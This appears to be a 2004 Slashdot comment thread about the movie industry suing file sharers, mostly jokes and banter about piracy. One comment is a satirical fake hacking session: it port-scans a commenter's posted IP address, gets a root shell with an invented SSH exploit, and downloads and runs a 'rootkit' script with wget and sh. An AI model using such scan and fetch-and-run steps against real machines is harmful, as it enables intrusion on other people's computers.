Movie Industry to sue File Sharers

Wack Valenti writes "SiliconValley.com reports that the motion picture industry, taking a cue from the RIAA, is planning to file copyright infringement lawsuits against file sharers it says are illegally distributing movies online. The first suits could be filed as early as tomorrow."

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[Anonymous Coward]

Shhh.. don't say anything about Usenet

What ?!

[Anonymous Coward]

NOOOO!!!! I havent finished downloading all the episodes for my "Doctor Who" collection..

Re:what has the world come to

[NotQuiteReal]

Suing customers [...]

Um, I think the point is that they are NOT paying customers...

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Re:what has the world come to

[metlin]

First the RedSox, then Bush. And now this.

So this is what the third horseman looks like ;)

Ahoy, folks. The end is nigh.

Re:Yawn...

[dukeisgod]

The popups are right "Warning, you are broadcasting your IP address over the internet..."

Movie-goers Sue Movie Industry

[Anonymous Coward]

For making nothing but shit, year after year.

Whew, I was worried for a minute there!

[GuyMannDude]

The RIAA has been doing this for so long, why is the MPAA only doing this now, I wonder?

Hey, who cares? No self-respecting geek clutters up their hard drives with the drivel that the MPAA members produce. Now if the Porn Industry Movie Producers (PIMP) start cracking down on sharing Miko Lee and Jenna Jameson flicks, then us geeks are really going to be in trouble.

Re:Yawn...

[pyrrhonist]

Dear MPAA, My ipaddress is 199.2.120.89. My slashdot username is my real name. I download most of my movies off suprnova.org. Oh yea, and I'm not afraid.

Dear Mr. England,

Thank you for providing us with your machine information. We have fixed the situation to better serve your secure viewing needs:

$ nmap -P0 -sT 199.2.120.89

Starting nmap 3.70 ( http://www.insecure.org/nmap ) at 2004-11-03 22:47 Eastern Standard Time
Interesting ports on 199.2.120.89:
PORT STATE SERVICE
22/tcp open ssh

Nmap run completed -- 1 IP address (1 host up) scanned in 1.732 seconds

$ supersshnuke --root-shell 199.2.120.89

Contacting 199.2.120.89... Connected!
Detecting SSH version... Done!
SSH on this machine is: older than dirt
Attempting sploit... PWNED!
Dropping you into a root shell...

# wget -q http://mpaa.org/rootkit/linux/suite-6.22.sh
# sh suite-6.22.sh
MPAA Customer Compliance Suite V6.22
Downloading MCCS Components... 100%
Installing MCCS... 100%
Configuring MCCS... 100%
Starting MCCS...
Done!
# tail /var/log/messages
Nov 3 22:59:50 localhost mccs: blocked evil site "suprnova.org"
Nov 3 22:59:56 localhost mccs: killed evil p2p application "edonkey"
Nov 3 22:59:57 localhost mccs: killed evil p2p application "bitorrent"
Nov 3 22:59:58 localhost mccs: killed evil p2p application "irc"
Nov 3 23:00:10 localhost mccs: DRM compliance scan started...
Nov 3 23:02:12 localhost mccs: deleting non-compliant file, "speed-movie.mp4"
Nov 3 23:02:13 localhost mccs: deleting non-compliant file, "lordofrings.divx"
Nov 3 23:02:14 localhost mccs: deleting MPAA embarrassment, "free-willy.mp4"
Nov 3 23:02:15 localhost mccs: deleting non-compliant file, "deep-throat.mp4"

Your computer is now safe from non-compliance. Thank you for your cooperation.

Sincerely,
Mortimer Snerd
MPAA Compliance Officer

Re:what has the world come to

[killjoe]

You know if you read revelations it says that the anti christ will be seen as a savior and that the majority of the people will follow him.

Something to think about next time Bush talks about god.

Re:Not so long ago, the EFF suggested just this.

[c0p0n]

... I currently use Kazaa to share out a handful of audio sermons from my church's pastor ...

You're tricking a bit the kazaa credit system, eeh? Cool way of having a gig of mp3 available that you know nobody is gonna download.